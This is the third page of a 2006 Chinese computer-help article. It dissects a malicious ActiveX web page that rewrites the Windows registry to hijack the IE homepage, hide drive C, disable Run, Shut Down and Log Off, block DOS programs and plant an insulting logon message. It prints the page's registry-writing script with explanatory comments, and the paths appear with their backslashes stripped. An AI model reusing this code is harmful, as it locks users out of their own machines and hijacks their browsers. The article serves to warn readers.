设为首页 | 收藏本站
首页>IT学院>电脑医院>正文
浏览网页注册表被修改之迷及解决办法
WWW.DBIT.CN 2006-8-30 9:39:04 热度:
 

  进入该网页会被:

  1.修改开始菜单

  1)禁止“关闭系统”

  2)禁止“运行”

  3)禁止“注销”

  2.隐藏C盘——你的C盘找不到了

  3.禁止使用注册表编辑器regedit

  4.禁止使用DOS程序

  5.使系统无法进入“实模式”

  6.禁止运行任何程序

  7.将IE浏览器的首页改为http://www.findfeel.com/,收藏夹中也被加入该网址。

  那么这些功能恐怖的功能是如何实现的呢?原来,该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害,我查看了其源代码,将其主要部分列了出来,并加了详细的注释(文中有“注”字的部分是我加的注释)。

  注:下面代码是将你的IE默认连接首页改为http://www.findfeel.com/

  Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://www.findfeel.com/");

  注:以下是该网页修改受害者的注册表项所用的招数

  Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun", 01, "REG_BINARY");

  注:使受害者系统没有“运行”项,这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。

  Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose", 01, "REG_BINARY");

  注:使受害者系统没有“关闭系统”项

  Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff", 01, "REG_BINARY");

  注:使受害者系统没有“注销”项

  Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives", "00000004", "REG_DWORD");

  注:使受害者系统没有逻辑驱动器C

  Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp Disabled","REG_BINARY");

  注:禁止运行所有的DOS应用程序;

  Shl.RegWrite ("HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies WinOldAppNoRealMode","REG_BINARY");

  注:使系统不能启动到“实模式”(传统的DOS模式)下;

  又注:进入该网页,它还会修改以下的注册表项,使WINDOWS系统登录时显示一个登录窗口(在MicroSoft网络用户登录之前)

  Shl.RegWrite ("HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption", "呜啦啦...");

  注:这些代码会使窗口的标题是“呜啦啦…”

  Shl.RegWrite ("HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText", "欢迎你!你这个超级无敌大白痴!《呜啦啦...》故事开始了,按确定进入悲惨世界");

  注:上面一行是会在窗口中显示出来的文字

  注:下面两行代码修改注册表,使受害者所有的IE窗口都加上以下的标题:“呜啦啦…”

  Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title", "呜啦啦..."); Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "呜啦啦...");

  注:到上面一行为止,完成了对受害者的注册表的所有修改!

  注:下面代码用来将其网页增加到受害者的收藏夹中

  var WF, Shor, loc; WF = FSO.GetSpecialFolder(0); loc = WF + "Favorites"; if(!FSO.FolderExists(loc)) { loc = FSO.GetDriveName(WF) + "Documents and Settings" + Net.UserName + "Favorites"; if(!FSO.FolderExists(loc)) { return; } }

注:下面就是使其网页加入到你的收藏夹的具体代码

  AddFavLnk(loc, "找到感觉www.findfeel.com", "http://www.findfeel.com");

本新闻共6页,当前在第3页  1  2  3  4  5  6  

 
上一篇:一劳永逸让你与IE弹出窗口彻底告别
下一篇:奇怪的主机与显示器不兼容故障分析排除
打印】【关闭
  相关文章:
·DOS下维护注册表的高级技巧·对注册表进行编辑的三种途径
·调整Windows XP注册表享受极速上网·注册表网络优化设置四十招!
☆联姻学院☆

修改内存SPD 解决蓝屏问题
电脑经常自动重启的原因以及解
木马代理居07年十大流行病毒之
实例讲解从概念走向应用的在线
.xls单元格内容的移动或复制
微软证实Excel2007不会做乘法
找回Windows XP SP2的“休眠”
使用脚本恢复WinXP系统的用户
用3D造千纸鹤多边形建模
Fireworks8 绘制精致指南针图
网页制作小技巧:dl dt dd标签
Dreamweaver进阶:标签选择器的
ASP.NET中的命名空间
最常见的20种VC++编译错误信息
如何做好无线本地搜索
无线上网不用花钱全攻略

精品图秀
模特展示纯金内衣
气质动人的美女
刘亦菲神情惹火
我的成功不是靠忽悠 优百特移动硬盘十一全 破解女性笔记本“潜规 宏基新款法拉利本现身 神舟顶级PC升级 新梦G